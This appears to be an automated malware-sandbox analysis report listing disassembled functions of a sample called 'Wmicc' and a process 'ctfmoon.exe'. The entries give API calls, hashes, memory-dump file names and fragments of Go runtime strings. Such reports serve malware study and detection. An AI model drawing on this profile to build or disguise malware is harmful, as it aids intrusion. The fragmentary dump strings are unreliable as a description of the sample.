Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: 479f31bae67e33498904230721a9019fdebb224626d93f354b75dafea44a6588
Instruction ID: 5c830b38568a997115845c2f6e59fa1a116ab1a43433a5328a2c280873060678
Opcode Fuzzy Hash: 479f31bae67e33498904230721a9019fdebb224626d93f354b75dafea44a6588
Instruction Fuzzy Hash: 7501A236440629BBCB215FA8DC09FEB3BA9FF08714F044426FE11A60A0DBB4D5508BD8

Function 00418A4D Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 00418A8B
SetBkColor.GDI32(00000000,00000000), ref: 00418A97
GetSysColor.USER32(00000008), ref: 00418AA7
SetTextColor.GDI32(00000000,?), ref: 00418AB1

Part of subcall function 0041A549: GetWindowLongA.USER32(00000000,000000F0), ref: 0041A55A

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: e5a38517480b21294c149221ee9d39b914d8057a163fda343c16d7fc876c0cab
Instruction ID: e83857842390ae2490f013b7d5b190a74c57450e6b11aee5515b3df115cabcb0
Opcode Fuzzy Hash: e5a38517480b21294c149221ee9d39b914d8057a163fda343c16d7fc876c0cab
Instruction Fuzzy Hash: E3012830100108ABDF219F64EC49FEE3B69AF44390F10852BFE15C52A0CBB5C9E0CA6E

Function 00407AB0 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000020,00000000,-00000008,00401F56,00000001,00000000,00000000,80000004), ref: 00407AC5
GetFileSize.KERNEL32(00000000,?,?,00000268,?,?,?,005627FB,00000001,?,?,?,?,?,00000000,005627FB), ref: 00407ADC

Part of subcall function 00407610: GetProcessHeap.KERNEL32(0040873D,00000001,00000000), ref: 00407619
Part of subcall function 00407610: HeapAlloc.KERNEL32(00690000,00000000,00000000,004FC710,0040873D,00000001,00000000), ref: 0040762D
Part of subcall function 00407610: MessageBoxA.USER32(00000000,00562A88,error,00000010), ref: 00407646

ReadFile.KERNEL32(00000000,00000008,00000000,?,00000000,?,?,?,?,005627FB,00000001), ref: 00407B08
CloseHandle.KERNEL32(00000000,?,?,?,?,005627FB,00000001,?,?,?,?,?,00000000,005627FB,00000001), ref: 00407B0F

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: File$Heap$AllocCloseCreateHandleMessageProcessReadSize
String ID:
API String ID: 3236113254-0
Opcode ID: eebca25e953d998e633bf7bf799de40719b29b08498324406a83bed518f004db
Instruction ID: 5add69c494511e8e4a6442ee6c5375d21032c9a5909197980b163028374704ec
Opcode Fuzzy Hash: eebca25e953d998e633bf7bf799de40719b29b08498324406a83bed518f004db
Instruction Fuzzy Hash: A2F0A4762003007BE3208F65EC8DFDBB7ACDB89B60F104A2DFA02971D0E6B4B9448765

Function 0041A633 Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0041A640
GetWindowTextA.USER32(?,?,00000100), ref: 0041A65C
lstrcmpA.KERNEL32(?,?), ref: 0041A670
SetWindowTextA.USER32(?,?), ref: 0041A680

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: 22500e2a481fef62602e60d16cbe8464a9c833a69d3e6989985073b7ace25477
Instruction ID: fc998202dae48c7af29e061c724fe733b8625a26134f89c1ba48d4f3ca2e4898
Opcode Fuzzy Hash: 22500e2a481fef62602e60d16cbe8464a9c833a69d3e6989985073b7ace25477
Instruction Fuzzy Hash: 55F01239400019ABCF226F75DC08BDE7BADFB18391F048161FC95D2120D775DE958B99

Function 0041B77B Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041B79D
GetTickCount.KERNEL32 ref: 0041B7AA
CoFreeUnusedLibraries.OLE32 ref: 0041B7B9
GetTickCount.KERNEL32 ref: 0041B7BF

Part of subcall function 0041B720: CoFreeUnusedLibraries.OLE32 ref: 0041B768
Part of subcall function 0041B720: OleUninitialize.OLE32 ref: 0041B76E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: 06dd57238521ba6e6eaf208ad34bcd65427b761a004e4a5f945994a2f4e2bd77
Instruction ID: bb64d9c90741dd6e2f82ccd489eb7c84acf913804f5452edd5f1e918f0789da0
Opcode Fuzzy Hash: 06dd57238521ba6e6eaf208ad34bcd65427b761a004e4a5f945994a2f4e2bd77
Instruction Fuzzy Hash: B4E0ED30804518CAD711AB35EC892997BB1FB94311F10C93BE495531A0C7B898C5EF96

Function 004084A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 151windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,00000000,00562AB4,?), ref: 004086C3

Strings

%lf, xrefs: 0040865D
%I64d, xrefs: 004085F3

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Message
String ID: %I64d$%lf
API String ID: 2030045667-1545097854
Opcode ID: e9c42405d47b8c7b191b2488195311220d34faa80aec5340570711c1735ac12d
Instruction ID: 4191b4a748c3dde3f1b2f711cfcafd725c7656755c5870e1924c645e30597161
Opcode Fuzzy Hash: e9c42405d47b8c7b191b2488195311220d34faa80aec5340570711c1735ac12d
Instruction Fuzzy Hash: F151A3715043019BD738DA54DA81EEFB7E8ABC4300F118D3FF589A22D1DEBD98458A9B

Function 0040DC26 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00411402: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041143F
Part of subcall function 00411402: EnterCriticalSection.KERNEL32(?,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041145A

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,0040C11C), ref: 0040DC77

Part of subcall function 00411463: LeaveCriticalSection.KERNEL32(?,0040C463,00000009,0040C44F,00000000,?,00000000,00000000,00000000), ref: 00411470

Strings

X4V, xrefs: 0040DC5E
H5V, xrefs: 0040DC6B

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: H5V$X4V
API String ID: 1866836854-2108753986
Opcode ID: 1741af5317cb5319bcd057790284cee9ded1d2f5e423a0f4c0fe748f503fbd49
Instruction ID: 8121b875dc1fbe9b92f4c0f5f9a81c3a38697d32b52650a6e1a6906dc611e248
Opcode Fuzzy Hash: 1741af5317cb5319bcd057790284cee9ded1d2f5e423a0f4c0fe748f503fbd49
Instruction Fuzzy Hash: 42419E31D082405EEB11DFB4E88837A7BE1DF15314F24407BD249AB2D2C67D498DEB99

Function 0040DE79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 0040DE8D

Strings

, xrefs: 0040DEB2
, xrefs: 0040DED6

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: a929e6494bd37898eb11f759510680ba119339a06debc6e5d7c0675bfd2abfb6
Instruction ID: 2a9c4f2c9574b8c92e3395adfdd98af439952e728f23874d18ea9be1520604a6
Opcode Fuzzy Hash: a929e6494bd37898eb11f759510680ba119339a06debc6e5d7c0675bfd2abfb6
Instruction Fuzzy Hash: 444177308042591EDB119764ED8DBFB7F999F02300F1400F6D54ADA1D2C279498CEBA6

Function 00407520 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040755C
MessageBoxA.USER32(00000000,?,error,00000010), ref: 004075A6

Strings

error, xrefs: 0040759E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Messagewsprintf
String ID: error
API String ID: 300413163-1574812785
Opcode ID: f2824f305196221e9c950920b41e4e18b452f6685a27aed6202fbef0bf832aa6
Instruction ID: 1581204cfcb3be3b2a399be54a2b3fa7755c137f1731c402b84b5d35e83109a3
Opcode Fuzzy Hash: f2824f305196221e9c950920b41e4e18b452f6685a27aed6202fbef0bf832aa6
Instruction Fuzzy Hash: A20192749042116BE620DB55DC46FEB33A8ABA8704F404479E945933D0E3F4A9448FA7

Function 00417333 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BC55: TlsGetValue.KERNEL32(?,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000,?,004152CB,00000000,00000000,00000000,00000000), ref: 0041BC94

GetCurrentThreadId.KERNEL32 ref: 00417355
SetWindowsHookExA.USER32(00000005,Function_0001713D,00000000,00000000), ref: 00417365

Strings

ZW, xrefs: 0041733A

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CurrentHookThreadValueWindows
String ID: ZW
API String ID: 933525246-1365959957
Opcode ID: 4da662f41223d74d5966367fc68797b67a262537504a6ea740e4dace94159ff4
Instruction ID: 1605f4b680fe7a13b4367a16d335f1ce87e4ea9f66fdbeb53d6a2fd3204952c8
Opcode Fuzzy Hash: 4da662f41223d74d5966367fc68797b67a262537504a6ea740e4dace94159ff4
Instruction Fuzzy Hash: 79E0ED30600740DEC3309B669805B97BAF0EB80B51F00C23FED9982240E7B49882CBAD

Function 00416D97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041BC55: TlsGetValue.KERNEL32(?,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB,?,00000000,?,004152CB,00000000,00000000,00000000,00000000), ref: 0041BC94

GetMessageTime.USER32 ref: 00416DA9
GetMessagePos.USER32 ref: 00416DB2

Strings

ZW, xrefs: 00416D9D

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Message$TimeValue
String ID: ZW
API String ID: 3832333830-1365959957
Opcode ID: 116473b6a44051f4eed7aa79d3399cf525b2951983552a637c271b1160e4eae0
Instruction ID: d641d7e45401a518bb504ea5e4c66208fa387098263f630f7268d54b1fd347a8
Opcode Fuzzy Hash: 116473b6a44051f4eed7aa79d3399cf525b2951983552a637c271b1160e4eae0
Instruction Fuzzy Hash: B2D01274400B648BC7209F67A5480E77AF0EB44711340497FD997C7651DB34E440CB84

Function 0041BB63 Relevance: 5.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0041BBC0
LeaveCriticalSection.KERNEL32(?,?), ref: 0041BBD0
LocalFree.KERNEL32(?), ref: 0041BBD9
TlsSetValue.KERNEL32(?,00000000), ref: 0041BBEF

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 9fc5f99bc37f6543833222c4dddf3a1b11ba384fce618b8a153a04eee5f9f15e
Instruction ID: 41f9bf7a3a327d30dcd7414894341cbdecb6bc4da71f0b308541c8d0806cbc5f
Opcode Fuzzy Hash: 9fc5f99bc37f6543833222c4dddf3a1b11ba384fce618b8a153a04eee5f9f15e
Instruction Fuzzy Hash: BB217C31204200EFD724CF55D885FAA77A4FF44712F1084AEE9528BAA6C7B5F981CB99

Function 0041086A Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,?,00000000,00000000,00410632,00000000,00000000,00000000,0040C3E4,00000000,00000000,?,00000000,00000000,00000000), ref: 00410892
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00410632,00000000,00000000,00000000,0040C3E4,00000000,00000000,?,00000000,00000000,00000000), ref: 004108C6
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 004108E0
HeapFree.KERNEL32(00000000,?), ref: 004108F7

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 1b803337a33ae2968d1f346a9e48ced0ce13f861ea3b6ae4591c59ae06beaf94
Instruction ID: 93d6b692fbb5e28416e78f5deb181b16c6109adace63b8037de1ddf7336fbcdd
Opcode Fuzzy Hash: 1b803337a33ae2968d1f346a9e48ced0ce13f861ea3b6ae4591c59ae06beaf94
Instruction Fuzzy Hash: 34118F71280211AFD7209F1AFC48EA27BBAFB547157204929F95AD61B0CBF198CDFB44

Function 004113D9 Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,0040EF81,?,0040C0EC), ref: 004113E6
InitializeCriticalSection.KERNEL32(?,0040EF81,?,0040C0EC), ref: 004113EE
InitializeCriticalSection.KERNEL32(?,0040EF81,?,0040C0EC), ref: 004113F6
InitializeCriticalSection.KERNEL32(?,0040EF81,?,0040C0EC), ref: 004113FE

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 72da5c07d3cb4c12998bdf4066a466eaeaa778271a064962f46e234262e0bc77
Instruction ID: 5556a2471d7c9082ad62a39941f94ff253602ad40c60bd6c59e357f8a6489c0d
Opcode Fuzzy Hash: 72da5c07d3cb4c12998bdf4066a466eaeaa778271a064962f46e234262e0bc77
Instruction Fuzzy Hash: 54C00235852435DACA522B59FE098553F25EB943717014062E54C5707096A21C28FFD1

Analysis Process: ctfmoon.exePID: 15824, Parent PID: 12364COMMON

Non-executed Functions

Function 00C34810 Relevance: 11.4, Strings: 9, Instructions: 172COMMON

Download Yara Rule

Strings

runtime.minit: duplicatehandle failedruntime: allocation size out of rangeruntime: unexpected SPWRITE function setprofilebucket: profile already setslice of unknown type in field %d: %TstartTheWorld: inconsistent mp->nextptls: unsupported certificate key (%T)t, xrefs: 00C34B2B
runtime: g0 stack [runtime: pcdata is runtime: preempt g0semaRoot rotateLeftskip this directorystopm holding lockssync.Cond is copiedsysMemStat overflowtoo many open filesunexpected InstFailunexpected g statusunknown Go type: %vunknown certificateunknown ciphe, xrefs: 00C349AB
runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=soap boolean: %q is not a valid boolean valuessh: only handshakeTransport can send kexInitssh: only handshakeTransport can se, xrefs: 00C34AF7
CreateWaitableTimerEx when creating timer failedTime.MarshalJSON: year outside of range [0,9999]Time.MarshalText: year outside of range [0,9999]bufio: writer returned negative count from Writecould not find GetSystemTimeAsFileTime() syscallfailed to parse cert, xrefs: 00C34AD0
runtime: VirtualQuery failed; errno=runtime: bad notifyList size - sync=runtime: inconsistent write deadlineruntime: invalid pc-encoded table f=runtime: invalid typeBitsBulkBarrierruntime: marked free object in span runtime: mcall called on m->g0 stackruntime:, xrefs: 00C34A41
%, xrefs: 00C34B34
VirtualQuery for stack base failedadding nil Certificate to CertPoolarray of non-uint8 in field %d: %Tbad scalar length: %d, expected %dchacha20: wrong HChaCha20 key sizecrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapcrypto/rc4: invalid bu, xrefs: 00C34A75
bad g0 stackbad recoveryc ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycontent-typecontext.TODOdirect-tcpipdriver_aliasdumping heapend tracegcentersyscallethereum-p2pgcBitsArenasgcpacertracegetaddrinfowharddecommithmac-sha, xrefs: 00C34A1A
runtime: CreateWaitableTimerEx failed; errno=runtime: failed mSpanList.remove span.npages=soap boolean: %q is not a valid boolean valuessh: only handshakeTransport can send kexInitssh: only handshakeTransport can send newKeysssh: unexpected message type %d (ex, xrefs: 00C34A9C

Memory Dump Source

